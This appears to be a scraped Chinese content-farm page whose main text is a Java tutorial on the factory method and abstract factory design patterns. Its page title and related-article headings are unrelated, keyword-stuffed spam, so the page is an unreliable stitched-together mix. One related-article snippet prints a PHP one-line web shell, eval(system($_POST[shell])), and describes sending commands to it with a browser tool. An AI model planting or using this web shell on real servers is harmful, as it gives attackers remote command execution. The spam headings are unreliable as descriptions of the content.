求个没封的w站2022wordpress手机页面底部导航

web/2025/10/8 14:57:48/文章来源:
求个没封的w站2022,wordpress手机页面底部导航,折纸效果网站,深圳做微信网站公司一、工厂方法模式#xff08;Factory Method#xff09; 工厂方法模式有三种 1、普通工厂模式#xff1a;就是建立一个工厂类#xff0c;对实现了同一接口的一些类进行实例的创建。首先看下关系图#xff1a; 举例如下#xff1a;#xff08;我们举一个发送邮件和短信的…一、工厂方法模式Factory Method 工厂方法模式有三种 1、普通工厂模式就是建立一个工厂类对实现了同一接口的一些类进行实例的创建。首先看下关系图 举例如下我们举一个发送邮件和短信的例子 首先创建二者的共同接口 public interface Sender {      public void Send();  }   其次创建实现类 public class MailSender implements Sender {      Override      public void Send() {          System.out.println(this is mailsender!);      }  }  public class SmsSender implements Sender {        Override      public void Send() {          System.out.println(this is sms sender!);      }  }   最后建工厂类 public class SendFactory {        public Sender produce(String type) {          if (mail.equals(type)) {              return new MailSender();          } else if (sms.equals(type)) {              return new SmsSender();          } else {              System.out.println(请输入正确的类型!);              return null;          }      }  }   我们来测试下 public class FactoryTest {        public static void main(String[] args) {          SendFactory factory  new SendFactory();          Sender sender  factory.produce(sms);          sender.Send();      }  }   输出this is sms sender! 2、多个工厂方法模式是对普通工厂方法模式的改进在普通工厂方法模式中如果传递的字符串出错则不能正确创建对象而多个工厂方法模式是提供多个工厂方法分别创建对象。关系图 将上面的代码做下修改改动下SendFactory类就行如下 public class SendFactory {   public Sender produceMail(){           return new MailSender();      }            public Sender produceSms(){          return new SmsSender();      }  }   测试类如下 public class FactoryTest {        public static void main(String[] args) {          SendFactory factory  new SendFactory();          Sender sender  factory.produceMail();          sender.Send();      }  }   输出this is mailsender! 2.2、静态工厂方法模式将上面的多个工厂方法模式里的方法置为静态的不需要创建实例直接调用即可。 public class SendFactory {            public static Sender produceMail(){          return new MailSender();      }            public static Sender produceSms(){          return new SmsSender();      }  }   [java] view plaincopy public class FactoryTest {        public static void main(String[] args) {              Sender sender  SendFactory.produceMail();          sender.Send();      }  }   输出this is mailsender! 总体来说工厂模式适合凡是出现了大量的产品需要创建并且具有共同的接口时可以通过工厂方法模式进行创建。在以上的三种模式中第一种如果传入的字符串有误不能正确创建对象第三种相对于第二种不需要实例化工厂类所以大多数情况下我们会选用第三种——静态工厂方法模式。 3、抽象工厂模式Abstract Factory 工厂方法模式有一个问题就是类的创建依赖工厂类也就是说如果想要拓展程序必须对工厂类进行修改这违背了闭包原则所以从设计角度考虑有一定的问题如何解决就用到抽象工厂模式创建多个工厂类这样一旦需要增加新的功能直接增加新的工厂类就可以了不需要修改之前的代码。因为抽象工厂不太好理解我们先看看图然后就和代码就比较容易理解。 请看例子 public interface Sender {      public void Send();  }   两个实现类 public class MailSender implements Sender {      Override      public void Send() {          System.out.println(this is mailsender!);      }  }  public class SmsSender implements Sender {        Override      public void Send() {          System.out.println(this is sms sender!);      }  }   两个工厂类 public class SendMailFactory implements Provider {            Override      public Sender produce(){          return new MailSender();      }  }  public class SendSmsFactory implements Provider{        Override      public Sender produce() {          return new SmsSender();      }  }   在提供一个接口 public interface Provider {      public Sender produce();  }   测试类 public class Test {        public static void main(String[] args) {          Provider provider  new SendMailFactory();          Sender sender  provider.produce();          sender.Send();      }  }   其实这个模式的好处就是如果你现在想增加一个功能发及时信息则只需做一个实现类实现Sender接口同时做一个工厂类实现Provider接口就OK了无需去改动现成的代码。这样做拓展性较好 以上内容引自于   https://www.cnblogs.com/maowang1991/archive/2013/04/15/3023236.html转载于:https://www.cnblogs.com/wuxinyiwu/p/8057645.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/89109.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

苏州网站建设制作工作室成都关键词

boot程序的主要功能是引导vxworks 内核,所以boot程序需要知道vxworks的内核存放在何处,通过什么手段去获取。在vxworks缺省的boot程序里有一条内建的default boot line,它指明了获得vxworks内核的途径,在boot程序启动时,它先寻找NVRAM里面有无…

商业网站开发模式外贸公司取名字参考大全

用途 字符匹配 语法 常用元字符 []    区间范围框 枚举值  [a-z0-9A-Z_] |    分枝条件或 \    特殊转义符(取消转义) \W [^A-Za-z0-9_] [\r\n] 换行符匹配 [\u4e00-\u9fa5] 汉字 [\s\S] 任意字符 限定符 贪婪匹配&…

网站安全狗卸载卸载不掉网页与网站设计

简介 在HTTP协议中,与get请求把请求参数直接放在url中不同,post请求的请求数据需通过消息主体(request body)中传递。 且协议中并没有规定post请求的请求数据必须使用什么样的编码方式,所以其请求数据可以有不同的编码方式,服务…

外国做动漫图片的网站叫什么潮汕网站建设

1. 前言 本文的目的,是帮助大家快速理解掌握Backbone的使用,但它并不是API,因此我不会将每一个方法都详细地描述,但是我会告诉你如何学习它们。 这是一篇稍稍较长的技术文章,因为我想将我所了解的东西尽可能详细地分享…

知名的网站建设公司杭州网络公司有哪些

摘要 二十一世纪是信息技术的时代,计算机已经应用到了各行各业中。采用计算机信息管理技术,可以有效的降低企业的管理成本,提高企业内部的工作效率。 本文从天天宾馆客房客房管理的一般流程出发,设计了一套天天宾馆客房管理信息系统,它可以管理天天宾馆客房中所有的客房的…

怎么登录百度app响应式网站做seo怎么样

文章目录 正则表达式概述使用场景不同环境下的正则表达式范例Linux (使用grep命令)Java (使用Pattern和Matcher类)Python (使用re模块) 正则表达式概述 正则表达式(Regular Expression,简称regex或regexp)是一种强大的文本处理工具&#xff…

做淘宝首页初学ps视频网站免费域名查询

以下源码基于rocketmq-spring-boot-start 2.1.1版本,其它版本可能会有差异 一. 前言 当我们在Spring Boot项目中集成RocketMQ后,只需要在配置文件(application.yml)中添加rocketmq的相关配置,即可使用rocketMQTemplate发送对象消息。登录Ro…

北京网站建设公司服务有哪些自适应网站开发资源

概述 目前代码比较少,写在一个文件中还体现不出什么缺点,但是随着代码量越来越多, 代码就越来越难以维护 为了解决难以维护的问题,我们把很多相似功能的函数分组,分别放到不同的文件中取。这样每个文件所包含的内容相…

国外域名购买网站如何建一个营销网站

大家好,我是若川。说起 Serverless,我想你应该并不陌生,作为一种云开发的架构模式,在近两年里,伴随着云原生概念的推广愈发火爆。作为一名 Serverless 的拥趸,在跟大家推荐的过程中,我经常能看到…

新手怎样学校做网站网站服务器返回状态码404

Python文件操作与面向对象 一、文件备份案例 1、实例代码 # 1、接收用户输入的文件名(要备份的文件名) oldname = input(请输入要备份的文件名称:) # python.txt # 2、规划备份文件名(python[备份].txt) # 搜索点号 index = oldname.rfind(.) # 返回文件名和文件后缀 …

常州网站建设效果网站做cdn需要注意什么

在数字化时代,企业需要借助先进的数字化技术来提高工程管理效率和质量。招投标管理系统作为企业内部业务项目管理的重要应用平台,涵盖了门户管理、立项管理、采购项目管理、采购公告管理、考核管理、报表管理、评审管理、企业管理、采购管理和系统管理等…

餐厅网站源码如何搭建app开发平台

目录 1.背景 2.ELK的配置 2.1.下载 2.2.关闭防火墙 2.3.安装elasticsearch 2.4.安装Logstash 2.5.安装Kibana 2.6.Java日志输出到Logstash 2.7.OSS版本 3.Kafka的配置 3.1.zookeeper搭建 3.2.kafka搭建 4.整合 1.背景 高日志压力情况下,为了避免Logsta…

企业网站功能描述泰安人力资源官网

构造一句话PHP木马 <?php eval(system($_POST[shell])); ?> 利用eval函数解析$shell的值使得服务器执行system命令 eval函数是无法直接执行命令的&#xff0c;只能把字符串当作php代码解析 这里我们构造的木马是POST的方式上传&#xff0c;那就用MaxHacKBar来执行 …

如何做网站后台管理员php网站用的是什么语言写的

前阵子一位读者告诉我&#xff0c;某位大厂HR给他发了我之前做的面试题答案合集。 这个消息让我开心了一整天&#x1f602;&#xff0c;因为这说明我之前做的面试题系列真的能帮助到部分测试同学&#xff0c;也算是侧面得到了一种认可吧。 坚持可是我们程序员家族的优良传统&a…

显示网站建设精美页面房山新农村建设网站

参考&#xff1a;自己实现一个SQL解析引擎_曾经的学渣的博客-CSDN博客

做完整的网站设计需要的技术企业策划书范文

简介&#xff1a;欢迎来到未来 您可能听说过人工智能聊天机器人和大型语言模型 (LLM)&#xff0c;对吧&#xff1f; 这些技术奇迹正在重塑企业的沟通和运营方式。 但是&#xff0c;这是一个价值百万美元的问题&#xff1a;哪一个适合您的业务&#xff1f; 让我们深入了解一下&…

网站图片展示源代码长宁集团网站建设

ES6 为数组新增了一些非常有用的 API&#xff0c;这些 API 提高了数组操作的便利性和效率。以下是 ES6 给数组新增的主要 API 及其详细解释和示例&#xff1a; 1. Array.from() Array.from() 方法从类数组对象或可迭代对象创建一个新的数组实例。 const arrayLike {0: a,1:…

哈尔滨网站开发方案上海网站制作网络推广方法

人工智能&#xff08;AI&#xff09;技术的迅猛发展正在深刻改变我们的生活和工作方式。你是否曾想过&#xff0c;未来的工作场景会是什么样子&#xff1f;AI的崛起不仅仅是科技的进步&#xff0c;更是我们生活方式的革命。今天&#xff0c;我们将深入探讨三种主要的AI能力&…

故城县网站建设服务商业网站开发

Android Jetpack组件架构&#xff1a;ViewModel的原理 导言 本篇文章是关于介绍ViewModel的&#xff0c;由于ViewModel的使用还是挺简单的&#xff0c;这里就不再介绍其的基本应用&#xff0c;我们主要来分析ViewModel的原理。 ViewModel的生命周期 众所周知&#xff0c;一般…

张家口建站优化可以推广发广告的app

Fiber 上篇文章fiber简单理解记录了react fiber架构&#xff0c;Hooks是基于fiber链表来实现的。阅读以下内容时建议先了解react fiber。 jsx -> render function -> vdom -> fiber树 -> dom vdom 转 fiber 的过程称为 recocile。diff算法就是在recocile这个过程…